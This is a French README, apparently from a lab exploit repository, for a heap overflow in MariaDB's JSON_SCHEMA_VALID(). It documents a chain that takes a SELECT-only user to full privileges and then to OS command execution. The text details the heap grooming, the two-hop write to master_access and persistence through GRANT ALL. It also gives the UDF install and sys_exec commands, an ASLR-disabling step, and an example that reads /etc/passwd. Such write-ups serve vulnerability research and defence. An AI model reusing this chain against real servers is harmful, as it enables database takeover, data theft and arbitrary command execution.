
# Écriture hors limites du tas dans MariaDB JSON_SCHEMA_VALID() → élévation de privilèges persistante (assistée en laboratoire)
Dépassement de tampon sur le tas dans JSON_SCHEMA_VALID() de MariaDB → élévation de privilèges persistante → exécution de code via UDF
| Affecté | MariaDB 11.4.x (confirmé sur 11.4.9) |
| Bug | Écriture hors limites dans json_get_normalized_string() — strncpy dans un DYNAMIC_STRING de 128 octets sans vérification des limites |
| Impact | Utilisateur avec SELECT uniquement → ALL PRIVILEGES WITH GRANT OPTION → exécution de commandes arbitraires via UDF |
| Source | sql/json_schema_helper.cc:91 |
Assisté par laboratoire. Le script utilise Docker / l'introspection root pour lire
/proc/1/memet découvrir la disposition du tas par connexion. La chaîne d'exploitation réelle est du SQL pur sur TCP. Un exploit armé nécessiterait une primitive de fuite d'informations pour remplacer l'étape d'introspection mémoire.
lowpriv ne peut que faire des SELECT sur la base test. Les tables système sont refusées.

Un seul script Python effectue le grooming du tas, une écriture arbitraire en deux sauts
via les métadonnées de variables utilisateur, persiste l'élévation via GRANT ALL,
et atteint l'exécution de code via une UDF :
python3 exploit.py

lowpriv dispose désormais de ALL PRIVILEGES WITH GRANT OPTION, peut lire les tables système,
lire/écrire des fichiers arbitraires et exécuter des commandes OS en tant qu'utilisateur mysql.
Le privilège survit au redémarrage du serveur.


┌──────────────────────────────────────────────────────────────────┐
│ SELECT json_schema_valid(overflow), │
│ @ccc...c := hop1, │
│ @aaa...a := hop2 │
└──────────────────────────────────────────────────────────────────┘
│ │ │
▼ ▼ ▼
┌───────────┐ ┌──────────────┐ ┌──────────────┐
│ 192-byte │ │ Write to @c │ │ Write to @a │
│ overflow │ │ through the │ │ through the │
│ corrupts │ │ corrupted │ │ redirected │
│ entry_c's │ │ pointer: │ │ pointer: │
│ value ptr │ │ │ │ │
│ (2-byte │ │ entry_a → │ │ master_access│
│ partial │ │ .value = │ │ = 0xFFFF.. │
│ overwrite)│ │ &master_ │ │ (ALL PRIVS) │
│ │ │ access │ │ │
└───────────┘ │ .length= 9 │ └──────────────┘
└──────────────┘
Grooming du tas — plus de 100 variables utilisateur épuisent la tcache, forçant
Entry_a → Value_a → Entry_b → Value_b → Entry_c → Value_c à être
allouées consécutivement.
Dépassement — JSON_SCHEMA_VALID déclenche un strncpy de 192 octets au-delà
du tampon de 128 octets, corrompant entry_c→value (écrasement partiel de pointeur
de 2 octets dans la même page de 64 Ko) pour pointer vers entry_a + 32.
Saut 1 — L'affectation à @c écrit 126 octets via le pointeur corrompu
dans les métadonnées de entry_a, définissant :
entry_a→value = &Security_context::master_accessentry_a→length = 9Saut 2 — L'affectation à @a écrit 8 octets de 0xFF via le
pointeur redirigé → .
Après la persistance, le serveur est redémarré (récupération après crash), et les privilèges élevés sont utilisés pour installer une bibliothèque partagée UDF :
LOAD_FILE('/tmp/raptor_udf.so') INTO DUMPFILE '/usr/lib/mysql/plugin/raptor.so'CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'raptor.so'SELECT sys_exec('id > /tmp/pwned')# 1. Construire et démarrer le conteneur
./setup.sh
# 2. Désactiver l'ASLR sur l'hôte Docker
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
# 3. Exécuter l'exploit (auto-calibrage à chaque tentative)
python3 exploit.py
# 4. Commande personnalisée
python3 exploit.py --cmd 'cat /etc/passwd > /tmp/out'
/proc/sys/kernel/randomize_va_space = 0)--cap-add SYS_PTRACE (pour l'accès à /proc/1/mem)--calibrate Mesurer les constantes de disposition du tas et quitter
--cmd CMD Commande pour l'exécution UDF de l'étape 2 (défaut : id > /tmp/pwned)
--stage1-only Exécuter uniquement l'élévation de privilèges, ignorer l'exécution UDF
--attempts N Nombre maximal de tentatives pour l'étape 1 (défaut : 5)
--host HOST Hôte MariaDB (défaut : 127.0.0.1)
--port PORT Port MariaDB (défaut : 3306)
Le script d'exploit se connecte au conteneur en tant que root pour lire /proc/1/mem.
Cela sert à deux choses :
user_var_entry
et vérifier qu'elles sont adjacentes (entry_a+32 dans la même page de 64 Ko
que entry_c→value pour l'écrasement partiel de 2 octets).Security_context — trouver le champ master_access à
cibler avec l'écriture en deux sauts.Le scan s'exécute en ligne pour chaque tentative car la disposition du tas varie entre les connexions (même avec ASLR=0) en raison du pool de threads de MariaDB qui attribue différentes arènes. La chaîne d'exploitation réelle — dépassement + saut 1 + saut 2 — est du SQL pur exécuté sur une connexion TCP.
Dans un scénario réel, un attaquant aurait besoin d'une vulnérabilité distincte de fuite d'informations (ou d'un canal auxiliaire) pour obtenir ces adresses.
entry_a→valuemaster_access = ALL PRIVILEGESPersistance — La session détient désormais tous les privilèges. GRANT ALL valide
l'élévation dans la table mysql.global_priv adossée à Aria. La session
finit par planter lors du nettoyage (corruption résiduelle du tas), mais le
GRANT est déjà checkpointé et survit au redémarrage.
| Contrainte | Solution |
|---|
STRING_RESULT fait length++ avant la vérification de réallocation | La charge utile fait N−1 octets donc N−1+1 = N correspond à la longueur stockée → pas de réallocation sur pointeur corrompu |
Le saut 2 de 126 octets corrompt les champs THD au-delà de Security_context | Définir entry_a→length = 9 dans le saut 1 pour que le saut 2 n'écrive que 8 octets (master_access) + 1 NUL |
Décalage de master_access dans Security_context | 1712 octets depuis la base de la structure (priv_user[384] + proxy_user[645] + priv_host[256] + priv_role[384] + padding + pointeurs) |
| La récupération après crash d'Aria annule les écritures non validées | GRANT ALL + SLEEP de 10 s permet le checkpoint Aria avant le crash de nettoyage de session |
| La disposition du tas varie entre les connexions (même avec ASLR=0) | Le scan inline de /proc/1/mem par tentative découvre entry_a et master_access pour chaque connexion |
| plugin_dir appartient à root | Le Dockerfile prédéfinit chmod 777 (commodité de laboratoire) |
| Fichier | Description |
|---|
exploit.py | Exploit en deux étapes : élévation de privilèges (SQL TCP) + exécution UDF |
raptor_udf.c | Source UDF — sys_exec() appelle system() |
Dockerfile | Image du conteneur de laboratoire (compile l'UDF, ouvre plugin_dir) |
init.sql | Crée l'utilisateur lowpriv |
setup.sh | Construit et démarre le laboratoire |
screenshots/ | Captures d'écran du terminal |